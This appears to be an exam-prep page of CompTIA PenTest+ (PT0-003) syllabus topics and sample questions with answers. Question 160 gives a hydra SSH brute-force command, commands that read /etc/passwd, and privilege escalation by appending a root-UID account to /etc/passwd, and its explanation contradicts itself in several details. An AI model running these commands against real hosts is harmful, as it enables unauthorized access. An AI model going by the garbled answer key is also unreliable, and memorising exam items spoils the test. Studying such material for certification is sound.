

# Exam PT0-003 Fee - Valid PT0-003 Test Forum



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## CompTIA PT0-003 Exam Syllabus Topics:

Topic	Details
Topic 1	<ul style="list-style-type: none"><li>Vulnerability Discovery and Analysis: In this section, cybersecurity analysts will learn various techniques to discover vulnerabilities. Analysts will also analyze data from reconnaissance, scanning, and enumeration phases to identify threats. Additionally, it covers physical security concepts, enabling analysts to understand security gaps beyond just the digital landscape.</li></ul>
Topic 2	<ul style="list-style-type: none"><li>Engagement Management: In this topic, cybersecurity analysts learn about pre-engagement activities, collaboration, and communication in a penetration testing environment. The topic covers testing frameworks, methodologies, and penetration test reports. It also explains how to analyze findings and recommend remediation effectively within reports, crucial for real-world testing scenarios.</li></ul>
Topic 3	<ul style="list-style-type: none"><li>Attacks and Exploits: This extensive topic trains cybersecurity analysts to analyze data and prioritize attacks. Analysts will learn how to conduct network, authentication, host-based, web application, cloud, wireless, and social engineering attacks using appropriate tools. Understanding specialized systems and automating attacks with scripting will also be emphasized.</li></ul>
Topic 4	<ul style="list-style-type: none"><li>Post-exploitation and Lateral Movement: Cybersecurity analysts will gain skills in establishing and maintaining persistence within a system. This topic also covers lateral movement within an environment and introduces concepts of staging and exfiltration. Lastly, it highlights cleanup and restoration activities, ensuring analysts understand the post-exploitation phase's responsibilities.</li></ul>

Topic 5	<ul style="list-style-type: none"> <li>Reconnaissance and Enumeration: This topic focuses on applying information gathering and enumeration techniques. Cybersecurity analysts will learn how to modify scripts for reconnaissance and enumeration purposes. They will also understand which tools to use for these stages, essential for gathering crucial information before performing deeper penetration tests.</li> </ul>
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### CompTIA PenTest+ Exam Sample Questions (Q160-Q165):

#### NEW QUESTION # 160

A previous penetration test report identified a host with vulnerabilities that was successfully exploited. Management has requested that an internal member of the security team reassess the host to determine if the vulnerability still exists.

**Reconnaissance data**

```
root@attackermachine:~# nmap -sC -T4 192.168.10.2
Starting Nmap 6.26SVN ( http://nmap.org ) at 2021-04-19 14:30 EST
Nmap scan report for 192.168.10.2
Host is up (0.27s latency).
Port      State    Service
22/tcp    open     ssh
23/tcp    closed   telnet
80/tcp    open     http
111/tcp   closed   rpcbind
445/tcp   open     samba
3389/tcp  closed   rdp?
Nmap done: 1 IP Address (1 host up) scanned in 5.48 seconds
```

```
root@attackermachine:~# enum4linux -S 192.168.10.2
user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x402]
user:[syslog] rid:[0x4b4]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[lpq] rid:[0x1fa]
```

**Which of the following commands would most likely exploit the services?**

medusa -h 192.168.10.2 -u admin -P 500-worst-passwords.txt -M rpcbind  
 hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22  
 crowbar -b rdp -s 192.168.10.2/32 -u administrator -C 500-worst-passwords.txt -n 1  
 ncrack -T5 -user lowpriv -P 500-worst-passwords.txt -p telnet -g CL=1 192.168.10.2

Part 1:

. Analyze the output and select the command to exploit the vulnerable service.

Part 2:

. Analyze the output from each command.

Select the appropriate set of commands to escalate privileges.

Identify which remediation steps should be taken.

Part 1 ✓ Part 2

Show Question

Reset All Answers

Commands

```
root@attackermachine:~# find / -perm -2 -type f 2>/dev/null | xargs ls -l
root@attackermachine:~# cat /etc/fstab
root@attackermachine:~# find / -perm -u=s -type f 2>/dev/null | xargs ls -l
root@attackermachine:~# grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7
root@attackermachine:~# cut -d':' -f1 /etc/passwd
```

Which of the following sets of commands most likely escalates privileges?

- perl -le 'print crypt("password", "AA")' > /tmp/passwd  
cat /etc/passwd > /tmp/passwd  
echo "root2:AA6tQYSfGxd/A:0:0:root:/root:/bin/bash" >> /tmp/passwd  
cp /tmp/passwd /etc/passwd
- openssl passwd password  
echo "root2:5ZOYXRFHVZ7OY:0:0:root:/root:/bin/bash" >> /etc/passwd
- echo "net user root2 password /add" > /home/lowpriv/backup.sh  
echo "net localgroup administrators root2 /add" >> /home/lowpriv/backup.sh
- ./ /tmp/scripts/exploithost.sh -h 192.168.10.2 > output.txt  
cat output.txt

Assuming the privileged escalation was successful, which of the following remediations should be taken? (Select two).

- Remove no\_root\_squash from fstab
- Remove SUID bit from cp
- Encrypt the /etc/passwd file
- Update SSH to latest version
- Strengthen password of lowpriv account
- Make backup script not world-writeable

Answer:

Explanation:

See the Explanation below for complete solution.

Explanation:

The command that would most likely exploit the services is:

```
hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh//192.168.10.2:22
```

The appropriate set of commands to escalate privileges is:

```
echo "root2:5ZOYXRFHVZ7OY:0:0:root:/root:/bin/bash" >> /etc/passwd
```

The remediations that should be taken after the successful privilege escalation are:

- \* Remove the SUID bit from cp.
- \* Make backup script not world-writable.

Comprehensive Step-by-Step Explanation of the Simulation

Part 1: Exploiting Vulnerable Service

- \* Nmap Scan Analysis
- \* Command: nmap -sC -T4 192.168.10.2
- \* Purpose: This command runs a default script scan with timing template 4 (aggressive).
- \* Output:

bash

Copy code

Port State Service

22/tcp open ssh

23/tcp closed telnet

80/tcp open http

111/tcp closed rpcbind

445/tcp open samba

3389/tcp closed rdp

Ports open are SSH (22), HTTP (80), and Samba (445).

\* Enumerating Samba Shares

\* Command: enum4linux -S 192.168.10.2

\* Purpose: To enumerate Samba shares and users.

\* Output:

makefile

Copy code

```
user:[games] rid:[0x3f2]
```

```
user:[nobody] rid:[0x1f5]
```

```
user:[bind] rid:[0x4ba]
```

```
user:[proxy] rid:[0x42]
```

user:[syslog] rid:[0x4ba]  
user:[www-data] rid:[0x42a]  
user:[root] rid:[0x3e8]  
user:[news] rid:[0x3fa]  
user:[lowpriv] rid:[0x3fa]

We identify a user lowpriv.

\* Selecting Exploit Command

\* Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22

\* Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.

\* Explanation:

\* -l lowpriv: Specifies the username.

\* -P 500-worst-passwords.txt: Specifies the password list.

\* -t 4: Uses 4 tasks/threads for the attack.

\* ssh://192.168.10.2:22: Specifies the SSH service and port.

\* Executing the Hydra Command

\* Result: Successful login as lowpriv user if a match is found.

Part 2: Privilege Escalation and Remediation

\* Finding SUID Binaries and Configuration Files

\* Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l

\* Purpose: To find world-writable files.

\* Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l

\* Purpose: To find files with SUID permission.

\* Command: grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7

\* Purpose: To identify users with bash shell access.

\* Selecting Privilege Escalation Command

\* Command: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/bin/bash" >> /etc/passwd

\* Purpose: To create a new root user entry in the passwd file.

\* Explanation:

\* root2: Username.

\* 5ZOYXRFHVZ7OY: Password hash.

\* ::0: User and group ID (root).

\* /root: Home directory.

\* /bin/bash: Default shell.

\* Executing the Privilege Escalation Command

\* Result: Creation of a new root user root2 with a specified password.

\* Remediation Steps Post-Exploitation

\* Remove SUID Bit from cp:

\* Command: chmod u-s /bin/cp

\* Purpose: Removing the SUID bit from cp to prevent misuse.

\* Make Backup Script Not World-Writable:

\* Command: chmod o-w /path/to/backup/script

\* Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.

Execution and Verification

\* Verifying Hydra Attack:

\* Run the Hydra command and monitor for successful login attempts.

\* Verifying Privilege Escalation:

\* After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.

\* Implementing Remediation:

\* Apply the remediation commands to secure the system and verify the changes have been implemented.

By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.

## NEW QUESTION # 161

A compliance-based penetration test is primarily concerned with:

- A. obtaining PII from the protected network.
- B. bypassing protection on edge devices.
- C. obtaining specific information from the protected network.
- D. determining the efficacy of a specific set of security standards.

**Answer: D**

**NEW QUESTION # 162**

An Nmap network scan has found five open ports with identified services. Which of the following tools should a penetration tester use NSE to determine if any vulnerabilities with associated exploits exist on the open ports?

- A. OWASP ZAP
- B. Drozer
- C. OpenVAS
- D. Burp Suite

**Answer: C**

Explanation:

OpenVAS is a full-featured vulnerability scanner.

OWASP ZAP = Burp Suite

Drozer (Android) = drozer allows you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps' IPC endpoints and the underlying OS.

Reference:

<https://pentest-tools.com/network-vulnerability-scanning/network-security-scanner-online-openvas>

**NEW QUESTION # 163**

A penetration tester attempted a DNS poisoning attack. After the attempt, no traffic was seen from the target machine. Which of the following MOST likely caused the attack to fail?

- A. The injection was too slow.
- B. The client did not receive a trusted response.
- C. The DNS information was incorrect.
- D. The DNS cache was not refreshed.

**Answer: D**

Explanation:

A DNS poisoning attack is an attack that exploits a vulnerability in the DNS protocol or system to redirect traffic from legitimate websites to malicious ones. A DNS poisoning attack works by injecting false DNS records into a DNS server or resolver's cache, which is a temporary storage of DNS information. However, if the DNS cache was not refreshed, then the attack would fail, as the target machine would still use the old and valid DNS records from its cache. The other options are not likely causes of the attack failure.

**NEW QUESTION # 164**

Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?

- A. Executive summary of the penetration-testing methods used
- B. Quantitative impact assessments given a successful software compromise
- C. Code context for instances of unsafe type-casting operations
- D. Bill of materials including supplies, subcontracts, and costs incurred during assessment

**Answer: C**

Explanation:

Code context for instances of unsafe type-casting operations would most likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience, as it would provide relevant and actionable information for the developers to fix the vulnerabilities.

Type-casting is the process of converting one data type to another, such as an integer to a string. Unsafe type-casting can lead to errors, crashes, or security issues, such as buffer overflows or code injection.

## NEW QUESTION # 165

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